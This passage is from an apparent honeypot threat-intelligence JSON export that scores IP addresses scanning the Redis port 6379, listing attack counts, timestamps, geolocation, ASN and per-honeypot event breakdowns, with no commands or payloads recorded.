        "last_seen_30d": "2026-05-28T21:32:21.892000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "104.28.162.239": {
      "attack_count": 60,
      "first_seen": "2026-05-05T10:07:33.000Z",
      "last_seen": "2026-05-05T10:46:34.272Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Gallarate",
      "asn": 13335,
      "as_org": "Cloudflare, Inc.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:07:34+00:00",
        "last_seen_30d": "2026-05-05T10:46:34.272000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 30,
        "Suricata": 5
      }
    },
    "61.242.178.28": {
      "attack_count": 58,
      "first_seen": "2026-05-05T16:07:07.000Z",
      "last_seen": "2026-05-30T11:25:43.494Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T16:08:09.500000+00:00",
        "last_seen_30d": "2026-05-30T11:25:43.494000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "118.194.251.141": {
      "attack_count": 57,
      "first_seen": "2026-05-21T07:12:48.000Z",
      "last_seen": "2026-05-21T07:21:11.720Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 23,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T10:35:23.807000+00:00",
        "last_seen_30d": "2026-05-28T05:15:43.973000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 66,
        "Redishoneypot": 14
      }
    },
    "157.230.101.158": {
      "attack_count": 57,
      "first_seen": "2026-05-05T11:34:50.000Z",
      "last_seen": "2026-05-27T15:52:02.823Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T11:35:56.376000+00:00",
        "last_seen_30d": "2026-05-27T15:52:02.823000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "114.80.35.241": {
      "attack_count": 56,
      "first_seen": "2026-05-03T23:19:03.000Z",
      "last_seen": "2026-05-28T08:56:58.692Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T23:20:09.863000+00:00",
        "last_seen_30d": "2026-05-28T08:56:58.692000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "216.218.206.69": {
      "attack_count": 53,
      "first_seen": "2026-05-17T14:36:19.000Z",
      "last_seen": "2026-05-26T15:13:08.503Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T04:51:42+00:00",
        "last_seen_30d": "2026-05-31T12:51:07.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 309,
        "Honeytrap": 83,
        "Redishoneypot": 22,
        "H0neytr4p": 18,
        "Ciscoasa": 13,
        "Miniprint": 8,
        "ConPot": 6,
        "Dionaea": 6,
        "CitrixHoneypot": 3,
        "Tanner": 3,
        "Adbhoney": 2,
        "Honeyaml": 2
      }
    },
    "20.233.204.10": {
      "attack_count": 46,
      "first_seen": "2026-05-03T17:14:12.000Z",
      "last_seen": "2026-05-18T11:57:35.941Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:14:12+00:00",
        "last_seen_30d": "2026-05-18T11:57:35.941000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 15,
        "Suricata": 5
      }
    },
    "43.103.40.235": {
      "attack_count": 45,
      "first_seen": "2026-05-06T11:30:51.000Z",
      "last_seen": "2026-05-22T10:03:15.689Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:30:51+00:00",
        "last_seen_30d": "2026-05-22T10:03:15.689000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 15,
        "Suricata": 5
      }
    },
    "185.242.226.92": {
      "attack_count": 44,
      "first_seen": "2026-05-02T00:38:15.000Z",
      "last_seen": "2026-05-28T05:39:41.187Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:39:47.802000+00:00",
        "last_seen_30d": "2026-05-30T17:35:11.806000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Redishoneypot": 9,
        "Dionaea": 8,
        "ElasticPot": 6,
        "Honeytrap": 4
      }
    },
    "124.236.108.172": {
      "attack_count": 41,
      "first_seen": "2026-05-13T21:58:10.000Z",
      "last_seen": "2026-05-13T21:59:54.670Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 134760,
      "as_org": "Shijiazhuang IDC network, CHINANET Hebei province",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T21:58:20+00:00",
        "last_seen_30d": "2026-05-13T21:59:54.670000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 30,
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "104.248.127.49": {
      "attack_count": 39,
      "first_seen": "2026-05-31T09:45:18.000Z",
      "last_seen": "2026-05-31T13:24:13.095Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 535,
        "days_active_30d": 1,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-31T05:40:27.394000+00:00",
        "last_seen_30d": "2026-05-31T22:56:11.180000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 403,
        "Honeytrap": 82,
        "Honeyaml": 38,
        "Redishoneypot": 9,
        "Dionaea": 3
      }
    },
    "4.156.218.251": {
      "attack_count": 37,
      "first_seen": "2026-05-06T10:36:38.000Z",
      "last_seen": "2026-05-22T19:46:50.553Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:36:39+00:00",
        "last_seen_30d": "2026-05-22T19:46:50.553000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "142.93.106.19": {
      "attack_count": 27,
      "first_seen": "2026-05-09T08:46:54.000Z",
      "last_seen": "2026-05-09T08:48:01.572Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 151919,
        "days_active_30d": 1,
        "ports_targeted_30d": 66254,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-09T08:43:06+00:00",
        "last_seen_30d": "2026-05-09T08:57:35.879000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130134,
        "Honeytrap": 21727,
        "Mailoney": 12,
        "ConPot": 10,
        "Dionaea": 8,
        "Miniprint": 8,
        "Cowrie": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "180.232.31.146": {
      "attack_count": 27,
      "first_seen": "2026-05-14T07:49:06.000Z",
      "last_seen": "2026-05-24T14:49:02.156Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Tanza",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:58:43.894000+00:00",
        "last_seen_30d": "2026-05-24T14:49:02.156000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 6
      }
    },
    "216.218.206.66": {
      "attack_count": 27,
      "first_seen": "2026-05-29T13:58:12.000Z",
      "last_seen": "2026-05-29T14:00:02.369Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 30,
        "ports_targeted_30d": 51,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T00:35:45.378000+00:00",
        "last_seen_30d": "2026-05-31T13:45:20.137000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Honeytrap": 68,
        "Miniprint": 16,
        "Redishoneypot": 11,
        "Dionaea": 5,
        "Adbhoney": 2
      }
    },
    "65.49.1.132": {
      "attack_count": 27,
      "first_seen": "2026-05-09T13:36:52.000Z",
      "last_seen": "2026-05-09T13:38:42.336Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 358,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-02T09:52:05+00:00",
        "last_seen_30d": "2026-05-31T15:19:51.321000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 96,
        "Redishoneypot": 11,
        "H0neytr4p": 8,
        "ConPot": 4,
        "Dionaea": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1,
        "Miniprint": 1
      }
    },
    "66.132.224.90": {
      "attack_count": 26,
      "first_seen": "2026-05-05T04:34:23.000Z",
      "last_seen": "2026-05-17T21:28:42.913Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 88.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 27,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-05T04:34:23+00:00",
        "last_seen_30d": "2026-05-31T04:57:04.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88,
        "Honeytrap": 16,
        "Redishoneypot": 12,
        "ElasticPot": 8,
        "Honeyaml": 2,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "45.157.112.69": {
      "attack_count": 24,
      "first_seen": "2026-05-18T20:59:34.000Z",
      "last_seen": "2026-05-19T20:34:49.777Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 206092,
      "as_org": "F.n.s. Holdings Limited",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-18T20:59:35+00:00",
        "last_seen_30d": "2026-05-20T18:00:10.980000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Redishoneypot": 6,
        "Honeytrap": 1
      }
    },
    "20.51.234.233": {
      "attack_count": 23,
      "first_seen": "2026-05-30T06:29:48.000Z",
      "last_seen": "2026-05-30T06:32:27.504Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T17:45:20.516000+00:00",
        "last_seen_30d": "2026-05-30T06:32:27.504000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Redishoneypot": 5,
        "Honeytrap": 4,
        "Dionaea": 3
      }
    },
    "20.65.193.233": {
      "attack_count": 23,
      "first_seen": "2026-05-04T11:03:43.000Z",
      "last_seen": "2026-05-04T11:05:24.105Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.6,
        "persistence": 24.2,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 29,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T14:20:38.115000+00:00",
        "last_seen_30d": "2026-05-30T20:10:40.710000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Redishoneypot": 5,
        "Honeytrap": 4
      }
    },
    "20.98.137.225": {
      "attack_count": 23,
      "first_seen": "2026-05-07T17:27:07.000Z",
      "last_seen": "2026-05-07T17:29:03.510Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 15.8,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 19,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-07T17:27:43+00:00",
        "last_seen_30d": "2026-05-25T12:32:14.877000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 5,
        "Redishoneypot": 5,
        "Dionaea": 3,
        "ElasticPot": 1
      }
    },
    "101.206.108.12": {
      "attack_count": 22,
      "first_seen": "2026-05-03T16:18:10.000Z",
      "last_seen": "2026-05-28T12:57:09.042Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T16:19:17.722000+00:00",
        "last_seen_30d": "2026-05-28T12:57:09.042000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "143.198.165.117": {
      "attack_count": 22,
      "first_seen": "2026-05-13T05:18:48.000Z",
      "last_seen": "2026-05-13T05:28:50.495Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 3,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-12T04:03:19+00:00",
        "last_seen_30d": "2026-05-14T14:37:17.704000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 220,
        "Honeytrap": 106,
        "Redishoneypot": 8,
        "Dionaea": 5,
        "ElasticPot": 2
      }
    },
    "220.181.1.163": {
      "attack_count": 22,
      "first_seen": "2026-05-16T22:33:19.000Z",
      "last_seen": "2026-05-29T01:31:38.761Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.8,
        "persistence": 24.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 29,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:24:11+00:00",
        "last_seen_30d": "2026-05-31T01:10:10.790000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 11
      }
    },
    "8.142.76.93": {
      "attack_count": 22,
      "first_seen": "2026-05-10T04:24:23.000Z",
      "last_seen": "2026-05-29T06:34:33.033Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T04:25:23.980000+00:00",
        "last_seen_30d": "2026-05-29T06:34:33.033000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "134.209.82.148": {
      "attack_count": 21,
      "first_seen": "2026-05-27T02:17:24.000Z",
      "last_seen": "2026-05-27T02:18:32.807Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 166599,
        "days_active_30d": 1,
        "ports_targeted_30d": 64299,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-27T02:13:51+00:00",
        "last_seen_30d": "2026-05-27T02:29:02.800000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 141203,
        "Honeytrap": 25340,
        "Cowrie": 10,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "159.89.130.253": {
      "attack_count": 20,
      "first_seen": "2026-05-19T03:47:00.000Z",
      "last_seen": "2026-05-19T03:48:02.819Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 152811,
        "days_active_30d": 2,
        "ports_targeted_30d": 64501,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-19T03:43:02+00:00",
        "last_seen_30d": "2026-05-20T16:57:48.460000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130696,
        "Honeytrap": 22064,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "157.245.229.234": {
      "attack_count": 19,
      "first_seen": "2026-05-07T12:51:28.000Z",
      "last_seen": "2026-05-09T07:50:24.786Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:51:28+00:00",
        "last_seen_30d": "2026-05-09T07:50:24.786000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "206.189.179.35": {
      "attack_count": 18,
      "first_seen": "2026-05-07T03:14:22.000Z",
      "last_seen": "2026-05-07T03:15:33.643Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T02:35:24+00:00",
